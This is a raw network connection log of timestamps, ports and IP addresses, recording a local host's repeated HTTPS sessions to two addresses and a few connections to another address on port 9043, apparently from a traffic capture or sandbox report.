Nov 13, 2024 18:22:55.152848959 CET	443	50045	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:56.384639025 CET	443	50045	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:56.384891987 CET	443	50045	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:56.386475086 CET	50045	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:56.389914989 CET	50045	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:56.389941931 CET	443	50045	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:56.421387911 CET	50046	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:56.421494007 CET	443	50046	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:56.421647072 CET	50046	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:56.421823978 CET	50046	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:56.421848059 CET	443	50046	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:57.102950096 CET	443	50046	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:57.103137970 CET	50046	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:57.103514910 CET	50046	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:57.103527069 CET	443	50046	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:57.104944944 CET	50046	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:57.104959011 CET	443	50046	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:57.376810074 CET	443	50046	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:57.376935005 CET	50046	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:57.376969099 CET	443	50046	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:57.377041101 CET	50046	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:57.377342939 CET	50046	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:57.377386093 CET	443	50046	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:57.383361101 CET	50047	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:57.383418083 CET	443	50047	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:57.383503914 CET	50047	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:57.383752108 CET	50047	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:57.383780956 CET	443	50047	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:58.946455002 CET	443	50047	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:58.946530104 CET	50047	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:58.967092037 CET	50047	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:58.967103958 CET	443	50047	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:58.971669912 CET	50047	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:58.971678019 CET	443	50047	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:59.406291008 CET	443	50047	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:59.406364918 CET	50047	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:59.406383038 CET	443	50047	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:59.406424999 CET	50047	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:59.406430960 CET	443	50047	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:59.406466007 CET	50047	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:59.406471968 CET	443	50047	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:59.406506062 CET	50047	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:59.406549931 CET	443	50047	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:59.406599998 CET	50047	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:59.406750917 CET	50047	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:59.406765938 CET	443	50047	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:59.424815893 CET	50048	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:59.424896955 CET	443	50048	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:59.424976110 CET	50048	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:59.425213099 CET	50048	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:59.425246954 CET	443	50048	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:00.285320997 CET	443	50048	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:00.285448074 CET	50048	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:00.285830975 CET	50048	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:00.285861015 CET	443	50048	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:00.287019968 CET	50048	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:00.287034035 CET	443	50048	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:00.981621027 CET	443	50048	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:00.981708050 CET	50048	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:00.981724024 CET	443	50048	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:00.981775999 CET	50048	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:00.982132912 CET	50048	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:00.982177019 CET	443	50048	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:00.988720894 CET	50049	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:00.988842010 CET	443	50049	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:00.988931894 CET	50049	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:00.989176035 CET	50049	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:00.989228010 CET	443	50049	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:01.833925962 CET	443	50049	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:01.834161997 CET	50049	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:01.834573030 CET	50049	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:01.834585905 CET	443	50049	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:01.835804939 CET	50049	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:01.835810900 CET	443	50049	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:02.534140110 CET	443	50049	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:02.534238100 CET	443	50049	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:02.534281969 CET	50049	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:02.534353971 CET	50049	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:02.537909985 CET	50049	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:02.537970066 CET	443	50049	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:02.549917936 CET	50050	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:02.550025940 CET	443	50050	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:02.550152063 CET	50050	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:02.553920031 CET	50050	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:02.553957939 CET	443	50050	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:03.439692974 CET	443	50050	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:03.439759970 CET	50050	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:03.440279007 CET	50050	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:03.440289974 CET	443	50050	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:03.441768885 CET	50050	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:03.441778898 CET	443	50050	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:03.942473888 CET	443	50050	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:03.942572117 CET	443	50050	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:03.946547985 CET	50050	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:03.957907915 CET	50050	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:03.957938910 CET	443	50050	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:04.069928885 CET	50051	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:04.069998026 CET	443	50051	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:04.070261955 CET	50051	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:04.070580959 CET	50051	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:04.070609093 CET	443	50051	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:04.744266987 CET	443	50051	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:04.744339943 CET	50051	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:04.744797945 CET	50051	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:04.744815111 CET	443	50051	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:04.746006012 CET	50051	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:04.746030092 CET	443	50051	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:04.779051065 CET	50009	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:23:04.779591084 CET	50052	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:23:04.784183025 CET	9043	50009	45.143.166.230	192.168.2.6
Nov 13, 2024 18:23:04.784240007 CET	50009	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:23:04.784424067 CET	9043	50052	45.143.166.230	192.168.2.6
Nov 13, 2024 18:23:04.784502983 CET	50052	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:23:04.784754992 CET	50052	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:23:04.789603949 CET	9043	50052	45.143.166.230	192.168.2.6
Nov 13, 2024 18:23:05.115711927 CET	443	50051	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:05.115799904 CET	50051	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:05.115837097 CET	443	50051	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:05.115858078 CET	443	50051	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:05.115880013 CET	50051	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:05.115896940 CET	50051	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:05.116117954 CET	50051	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:05.116142035 CET	443	50051	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:05.126576900 CET	50053	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:05.126619101 CET	443	50053	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:05.126689911 CET	50053	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:05.126914978 CET	50053	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:05.126926899 CET	443	50053	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:06.360872984 CET	9043	50052	45.143.166.230	192.168.2.6
Nov 13, 2024 18:23:06.361177921 CET	9043	50052	45.143.166.230	192.168.2.6
Nov 13, 2024 18:23:06.361268044 CET	50052	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:23:06.361529112 CET	9043	50052	45.143.166.230	192.168.2.6
Nov 13, 2024 18:23:06.361689091 CET	50052	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:23:06.362695932 CET	50052	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:23:06.362695932 CET	50052	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:23:06.363543987 CET	443	50053	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:06.367172956 CET	50053	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:06.367173910 CET	50053	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:06.367173910 CET	50053	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:06.367204905 CET	443	50053	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:06.367223024 CET	443	50053	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:06.369996071 CET	9043	50052	45.143.166.230	192.168.2.6
Nov 13, 2024 18:23:06.370008945 CET	9043	50052	45.143.166.230	192.168.2.6
Nov 13, 2024 18:23:06.803632975 CET	9043	50052	45.143.166.230	192.168.2.6
Nov 13, 2024 18:23:06.803703070 CET	50052	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:23:06.879962921 CET	443	50053	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:06.880044937 CET	50053	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:06.880067110 CET	443	50053	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:06.880080938 CET	443	50053	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:06.880130053 CET	50053	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:06.880130053 CET	50053	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:06.881880999 CET	50053	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:06.881901026 CET	443	50053	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:06.885298014 CET	50054	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:06.885349035 CET	443	50054	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:06.885545015 CET	50054	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:06.885700941 CET	50054	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:06.885714054 CET	443	50054	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:07.791798115 CET	443	50054	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:07.792038918 CET	50054	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:07.792437077 CET	50054	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:07.792447090 CET	443	50054	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:07.797517061 CET	50054	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:07.797524929 CET	443	50054	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:08.333695889 CET	443	50054	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:08.333798885 CET	443	50054	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:08.333933115 CET	50054	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:08.335340977 CET	50054	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:08.339335918 CET	50054	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:08.339354038 CET	443	50054	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:08.347903013 CET	50055	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:08.347943068 CET	443	50055	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:08.348031998 CET	50055	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:08.351902008 CET	50055	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:08.351917028 CET	443	50055	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:09.034061909 CET	443	50055	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:09.034125090 CET	50055	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:09.034627914 CET	50055	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:09.034634113 CET	443	50055	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:09.036195040 CET	50055	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:09.036200047 CET	443	50055	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:09.296993971 CET	443	50055	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:09.297055960 CET	50055	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:09.297080994 CET	443	50055	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:09.297110081 CET	443	50055	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:09.297122002 CET	50055	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:09.297148943 CET	50055	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:09.297605038 CET	50055	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:09.297620058 CET	443	50055	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:09.304275036 CET	50056	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:09.304342031 CET	443	50056	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:09.304409981 CET	50056	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:09.304708004 CET	50056	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:09.304729939 CET	443	50056	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:10.241528034 CET	443	50056	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:10.241739988 CET	50056	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:10.242247105 CET	50056	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:10.242257118 CET	443	50056	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:10.243971109 CET	50056	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:10.243977070 CET	443	50056	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:10.834408045 CET	443	50056	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:10.834470034 CET	50056	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:10.834480047 CET	443	50056	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:10.834523916 CET	443	50056	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:10.834562063 CET	50056	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:10.834602118 CET	50056	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:10.834851027 CET	50056	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:10.834861994 CET	443	50056	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:10.850162029 CET	50057	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:10.850200891 CET	443	50057	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:10.850269079 CET	50057	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:10.850686073 CET	50057	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:10.850697041 CET	443	50057	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:11.469640970 CET	443	50057	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:11.469710112 CET	50057	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:11.470210075 CET	50057	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:11.470221996 CET	443	50057	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:11.471492052 CET	50057	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:11.471508980 CET	443	50057	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:11.861362934 CET	443	50057	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:11.861507893 CET	443	50057	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:11.861521959 CET	50057	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:11.861715078 CET	50057	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:11.861715078 CET	50057	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:11.865916967 CET	50058	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:11.865983963 CET	443	50058	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:11.866105080 CET	50058	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:11.866329908 CET	50058	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:11.866348982 CET	443	50058	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:12.169070005 CET	50057	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:12.169094086 CET	443	50057	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:12.752244949 CET	443	50058	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:12.752330065 CET	50058	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:12.752783060 CET	50058	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:12.752793074 CET	443	50058	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:12.753839016 CET	50058	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:12.753844023 CET	443	50058	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:13.563798904 CET	443	50058	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:13.563906908 CET	443	50058	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:13.563915014 CET	50058	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:13.563946962 CET	50058	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:13.586774111 CET	50058	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:13.586805105 CET	443	50058	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:13.600847006 CET	50059	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:13.600893021 CET	443	50059	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:13.600950956 CET	50059	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:13.601834059 CET	50059	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:13.601851940 CET	443	50059	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:14.697448015 CET	443	50059	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:14.697820902 CET	50059	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:14.698471069 CET	50059	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:14.698476076 CET	443	50059	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:14.700133085 CET	50059	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:14.700139046 CET	443	50059	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:15.200722933 CET	443	50059	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:15.200783014 CET	50059	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:15.200798035 CET	443	50059	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:15.200836897 CET	50059	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:15.200839996 CET	443	50059	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:15.200882912 CET	50059	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:15.201195955 CET	50059	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:15.201211929 CET	443	50059	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:15.207206011 CET	50061	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:15.207297087 CET	443	50061	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:15.207452059 CET	50061	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:15.207606077 CET	50061	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:15.207642078 CET	443	50061	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:16.143980026 CET	443	50061	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:16.145915985 CET	50061	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:16.167918921 CET	50061	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:16.167942047 CET	443	50061	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:16.169214010 CET	50061	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:16.169218063 CET	443	50061	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:16.718314886 CET	443	50061	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:16.718483925 CET	443	50061	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:16.718494892 CET	50061	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:16.718543053 CET	50061	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:16.718724966 CET	50061	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:16.718746901 CET	443	50061	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:16.736334085 CET	50062	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:16.736377954 CET	443	50062	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:16.736459970 CET	50062	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:16.736747026 CET	50062	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:16.736758947 CET	443	50062	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:17.621294975 CET	443	50062	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:17.621378899 CET	50062	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:17.622037888 CET	50062	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:17.622046947 CET	443	50062	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:17.623647928 CET	50062	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:17.623657942 CET	443	50062	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:18.309994936 CET	443	50062	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:18.310086966 CET	443	50062	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:18.310158014 CET	50062	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:18.310158968 CET	50062	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:18.310728073 CET	50062	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:18.310745001 CET	443	50062	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:18.317908049 CET	50063	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:18.317975044 CET	443	50063	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:18.322165966 CET	50063	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:18.322165966 CET	50063	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:18.322244883 CET	443	50063	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:19.190823078 CET	443	50063	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:19.190901041 CET	50063	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:19.191380024 CET	50063	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:19.191401005 CET	443	50063	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:19.192873001 CET	50063	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:19.192893028 CET	443	50063	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:19.975676060 CET	443	50063	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:19.975763083 CET	443	50063	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:19.975929022 CET	50063	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:19.981916904 CET	50063	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:19.981947899 CET	443	50063	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:19.994088888 CET	50064	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:19.994121075 CET	443	50064	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:19.994330883 CET	50064	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:19.994530916 CET	50064	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:19.994540930 CET	443	50064	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:20.884825945 CET	443	50064	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:20.884938002 CET	50064	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:20.885504961 CET	50064	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:20.885514975 CET	443	50064	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:20.886591911 CET	50064	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:20.886601925 CET	443	50064	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:21.375571012 CET	443	50064	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:21.375643015 CET	50064	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:21.375654936 CET	443	50064	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:21.375674963 CET	443	50064	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:21.375691891 CET	50064	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:21.375722885 CET	50064	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:21.376029015 CET	50064	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:21.376043081 CET	443	50064	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:21.381396055 CET	50065	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:21.381501913 CET	443	50065	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:21.381964922 CET	50065	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:21.382216930 CET	50065	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:21.382251024 CET	443	50065	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:22.316711903 CET	443	50065	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:22.316802025 CET	50065	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:22.317260981 CET	50065	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:22.317293882 CET	443	50065	104.21.15.162	192.168.2.6
